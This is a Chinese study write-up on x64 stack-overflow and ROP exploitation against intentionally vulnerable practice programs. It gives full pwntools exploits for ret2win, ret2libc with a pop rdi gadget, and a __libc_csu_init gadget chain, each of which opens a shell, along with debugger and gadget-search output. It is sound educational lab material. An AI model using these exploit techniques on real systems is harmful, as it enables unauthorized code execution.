1:X86 X64主要区别
- 首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常
- 其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上
常见寄存器
64-bit register Lower 32 bits Lower 16 bits Lower 8 bits
rax eax ax al
rbx ebx bx bl
rcx ecx cx cl
rdx edx dx dl
rsi esi si sil
rdi edi di dil
rbp ebp bp bpl
rsp esp sp spl
r8 r8d r8w r8b
r9 r9d r9w r9b
r10 r10d r10w r10b
r11 r11d r11w r11b
r12 r12d r12w r12b
r13 r13d r13w r13b
r14 r14d r14w r14b
r15 r15d r15w r15b
2:例子–level3
源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callsystem()
{
system("/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
关闭 stack ,pie
gcc -fno-stack-protector -no-pie level3.c -o level3
分析
显然可以由vulnerable函数溢出控制跳转到callsystem函数就能执行system了
exp
from pwn import*
sh = process('./level3')
#callsystem:0x0000000000400577
#0x000000000040044e : ret
payload = 'a'*136 + p64(0x000000000040044e)+p64(0x0000000000400577)
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
知道我为啥要在跳转callsystem时加一个ret吗,因为不这样做我在本地执行会出现堆栈不能对齐的错误。
结果
hunter@hunter:~/PWN/rop/蒸米rop/x64$ python level3.py
[+] Starting local process './level3': pid 7213
[*] Switching to interactive mode
HELLO,WORLD
\x00$
可以发现X64的栈溢出控制程序转跳和X86没啥区别,就是多注意堆栈不平衡
探究
前面提到,x64的可用地址不能大于0x00007fffffffffff,我们用这个程序试一下’
from pwn import*
sh = process('./level3')
#0x000000000040044e : ret
payload = 'a'*136 + 'AAAAAAAA'
gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
在gdb直接c一直执行,结果:
RSP: 0x7fffffffde98 ("AAAAAAAA\n\337\377\377\377\177")
RIP: 0x4005aa (<vulnerable_function+32>: ret)
R8 : 0x7ffff7dd0d80 --> 0x0
R9 : 0x7ffff7dd0d80 --> 0x0
R10: 0x3
R11: 0x246
R12: 0x400490 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdf90 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4005a3 <vulnerable_function+25>: call 0x400480 <read@plt>
0x4005a8 <vulnerable_function+30>: nop
0x4005a9 <vulnerable_function+31>: leave
=> 0x4005aa <vulnerable_function+32>: ret
0x4005ab <main>: push rbp
0x4005ac <main+1>: mov rbp,rsp
0x4005af <main+4>: sub rsp,0x10
0x4005b3 <main+8>: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde98 ("AAAAAAAA\n\337\377\377\377\177")
0008| 0x7fffffffdea0 --> 0x7fffffffdf0a --> 0x8541000000000000
0016| 0x7fffffffdea8 --> 0x100000000
0024| 0x7fffffffdeb0 --> 0x4005f0 (<__libc_csu_init>: push r15)
0032| 0x7fffffffdeb8 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov edi,eax)
0040| 0x7fffffffdec0 --> 0x1
0048| 0x7fffffffdec8 --> 0x7fffffffdf98 --> 0x7fffffffe2f7 ("./level3")
0056| 0x7fffffffded0 --> 0x100008000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005aa in vulnerable_function ()
gdb-peda$
停在了vulnerable函数的ret,因为此时可以看到rsp里面是我们的AAAAAAAA即0x4141414141414141大于0x00007fffffffffff所以不会跳转,而是停在ret。那么我们把地址调小
from pwn import*
sh = process('./level3')
#0x000000000040044e : ret
payload = 'a'*136 + 'ABCDEF\x00\x00' #小端序\x00\x00会存在高地址
#payload = 'a'*136 + 'AAAAAAAA'
gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
结果:
RSP: 0x7fffffffdea0 --> 0x7fffffffdf0a --> 0x1c80000000000000
RIP: 0x464544434241 ('ABCDEF')
R8 : 0x7ffff7dd0d80 --> 0x0
R9 : 0x7ffff7dd0d80 --> 0x0
R10: 0x3
R11: 0x246
R12: 0x400490 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdf90 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x464544434241
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdea0 --> 0x7fffffffdf0a --> 0x1c80000000000000
0008| 0x7fffffffdea8 --> 0x100000000
0016| 0x7fffffffdeb0 --> 0x4005f0 (<__libc_csu_init>: push r15)
0024| 0x7fffffffdeb8 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov edi,eax)
0032| 0x7fffffffdec0 --> 0x1
0040| 0x7fffffffdec8 --> 0x7fffffffdf98 --> 0x7fffffffe2f7 ("./level3")
0048| 0x7fffffffded0 --> 0x100008000
0056| 0x7fffffffded8 --> 0x4005ab (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000464544434241 in ?? ()
gdb-peda$
成功跳转到0x0000464544434241即 \x00\x00ABCDEF
所以我们在ret地址的时候要注意这个问题可用地址不能大于0x00007fffffffffff
3:level4
在leve3的基础上把后门callsystem换成一个输出system地址的函数
源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
同样关闭stack pie 还有因为用到了dlopen,dlsym函数要加上-ldl
gcc -fno-stack-protector -no-pie level4.c -o level4 -ldl
分析
这个程序会输出system地址那么在本地找到libc.so.6就可以计算出/bin/sh地址,再由vulnerable处的栈溢出控制程序执行system函数即可,但问题是X64函数的前6个参数依次放在对应寄存器中,对于system函数它只有一个参数(/bin/sh)那么就应该放在rdi里面。我们可以控制的只有栈中的数据,想让栈中的/bin/sh地址放到rdi中就得需要pop rdi 指令。
所以用ROPgadgates寻找这个指令。
hunter@hunter:~/PWN/rop/蒸米rop/x64$ ROPgadget --binary level4 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006d2 : pop rbp ; ret
0x00000000004006d1 : pop rbx ; pop rbp ; ret
0x0000000000400585 : ret
0x0000000000400735 : ret 0xbdb8
Unique gadgets found: 4
对level4文件搜寻没有看到,那么就对libc文件搜寻(本地提前准备好libc文件)
hunter@hunter:~/PWN/rop/蒸米rop/x64$ ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'rdi'
0x00000000000221a3 : pop rdi ; pop rbp ; ret
0x000000000002155f : pop rdi ; ret
0x000000000005b4fd : pop rdi ; ret 0x38
找到一个:0x000000000002155f : pop rdi ; ret 。
需要注意的是这个和在libc文件中找system,/bin/sh一样这个是偏移量,但我们不慌,知道system绝对地址就可以算出pop rid的地址.
exp
from pwn import*
context.log_level = 'debug'
libc = ELF('libc.so.6')
binsh_offset = libc.search('/bin/sh').next() - libc.symbols['system']
#0x000000000002155f : pop rdi ; ret
pop_ret_offset = 0x000000000002155f - libc.symbols['system']
sh = process('./level4')
print "##########get system########"
system_addr = int(sh.recvuntil('\n'),16)
print "##########the system########" + str(system_addr)
binsh_addr = system_addr + binsh_offset
print "##########the binsh########" + str(binsh_addr)
pop_ret_addr = system_addr + pop_ret_offset
print "##########the pop rdi ret########" +str(pop_ret_addr)
sh.recv()
#0x0000000000400585 : ret
payload1 = 'A'*136 + p64(0x0000000000400585) + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
#0x000000000012188b : pop rax ; pop rdi ; call rax
ppc_offset = 0x000000000012188b - libc.symbols['system']
ppc_addr = ppc_offset + system_addr
payload2 = 'A'*136 +p64(ppc_addr) + p64(system_addr) + p64(binsh_addr)
sh.sendline(payload2)
sh.interactive()
注意到,我的payload有两个都可行。payload1 就是我们首先想到的思路,还放了一个p64(0x0000000000400585),没错在执行system函数遇到了堆栈不平衡(日了狗了)
payload2 是想到了call指令来执行system函数(call 要放got地址)。pop rax 将system地址放入rax ,pop rdi将参数/bin/sh地址放入rdi,call rax:执行!(没有遇到堆栈步平衡问题,感觉以后可以多用call)
本地测试结果
[DEBUG] Received 0x1c bytes:
'0x7ffff782f440\n'
'Hello, World\n'
##########the system########140737345942592
##########the binsh########140737347403418
##########the pop rdi ret########140737345754463
[DEBUG] Sent 0xa1 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 8b 18 90 f7 ff 7f 00 00 │AAAA│AAAA│····│····│
00000090 40 f4 82 f7 ff 7f 00 00 9a 3e 99 f7 ff 7f 00 00 │@···│····│·>··│····│
000000a0 0a │·│
000000a1
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$
4:level5–通用gadgets
因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。
level3和level4的程序都留了一些辅助函数在程序中,这次我们将这些辅助函数去掉再来挑战一下。目标程序level5.c如下:
源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
没错你只有read和write函数和蒸米X86的level3 是一样的
分析
可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。
因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。
我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d -Mintel level5观察一下__libc_csu_init()这个函数。
一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov QWORD PTR [rsp-0x28],rbp
4005a5: 4c 89 64 24 e0 mov QWORD PTR [rsp-0x20],r12
4005aa: 48 8d 2d 73 08 20 00 lea rbp,[rip+0x200873] # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea r12,[rip+0x20086c] # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov QWORD PTR [rsp-0x18],r13
4005bd: 4c 89 74 24 f0 mov QWORD PTR [rsp-0x10],r14
4005c2: 4c 89 7c 24 f8 mov QWORD PTR [rsp-0x8],r15
4005c7: 48 89 5c 24 d0 mov QWORD PTR [rsp-0x30],rbx
4005cc: 48 83 ec 38 sub rsp,0x38
4005d0: 4c 29 e5 sub rbp,r12
4005d3: 41 89 fd mov r13d,edi
4005d6: 49 89 f6 mov r14,rsi
4005d9: 48 c1 fd 03 sar rbp,0x3
4005dd: 49 89 d7 mov r15,rdx
4005e0: e8 1b fe ff ff call 400400 <_init>
4005e5: 48 85 ed test rbp,rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor ebx,ebx
4005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
4005f0: 4c 89 fa mov rdx,r15 #关注点
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005fd: 48 83 c3 01 add rbx,0x1
400601: 48 39 eb cmp rbx,rbp
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] #关注点从rsp+8开始读取栈中数据
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10]
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
400629: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
** 从4005f0开始:**
1 r15=>rdx,r14=>rsi ,r13d=>edi
2 call指令我们可以利用,即将rbx弄成0,r12放目标函数got地址
3 因为要执行上面rbx会变成0,add指令后rbx=1
4 cmp rbx,rbp如果相等就不会执行jne所以要把rbp设为1
5 然后是6个mov将从rsp+8开始把栈中数据放入,rbx,rbp,r12,r13,r14,r15
6 rsp往高地址移动0x38(56)字节即移动7次
7 ret用来控制跳转到4005f0目的是执行r12中的函数
所以先用栈溢出将程序跳到400606读取我们构造的payload最后ret到4005f0来执行r12中的函数,因为程序会继续往下走再次ret我们可以控制跳转到main函数,准备下一次攻击。
payload1
我们先构造payload1,利用write()输出write在内存中的地址。
#rdx=r15,rsi=r14,rdi=edi=r13d,r12=write_got,rbx=0,rbp=1 ret=0x4005f0 ##注释在这种长exp显得尤为重要
#write(rdi=1,rsi=write_got,rdx=8)
payload1 = "\x00"*136 #NULL
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) #
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
payload2
用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。bss可用readelf -S level5获取
#rdx=r15,rsi=r14,rdi=edi=r13d,r12=read_got,rbx=0,rbp=1 ret=0x4005f0
#read(rdi=0,rsi=bss_addr,rdx=16) 16字节是读取system的地址还有字符串/bin/sh\x00
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16)
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
payload3
最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh\x00”保存在了.bss段首地址+8字节上。
#rdx=r15,rsi=r14,rdi=edi=r13d,r12=bss_addr,rbx=0,rbp=1 ret=0x4005f0
#system(rdi=bss_addr + 8) rsi=0 rdx=0
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
EXP(蒸米)
我本地测试遇到太多玄学问题了(很操蛋)
from pwn import *
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400564
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601028
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
蒸米原文:
要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。最终执行结果如下:
[+] Started program './level5'
got_write: 0x601000
got_read: 0x601008
off_system_addr: 0xa1c40
#############sending payload1#############
write_addr: 0x7f79d5779370
system_addr: 0x7f79d56d7730
#############sending payload2#############
#############sending payload3#############
[*] Switching to interactive mode
$ whoami
mzheng
5:总结
原来pwn的艺术不是explosion,而是gadgets链构造,这种艺术我等凡人无法欣赏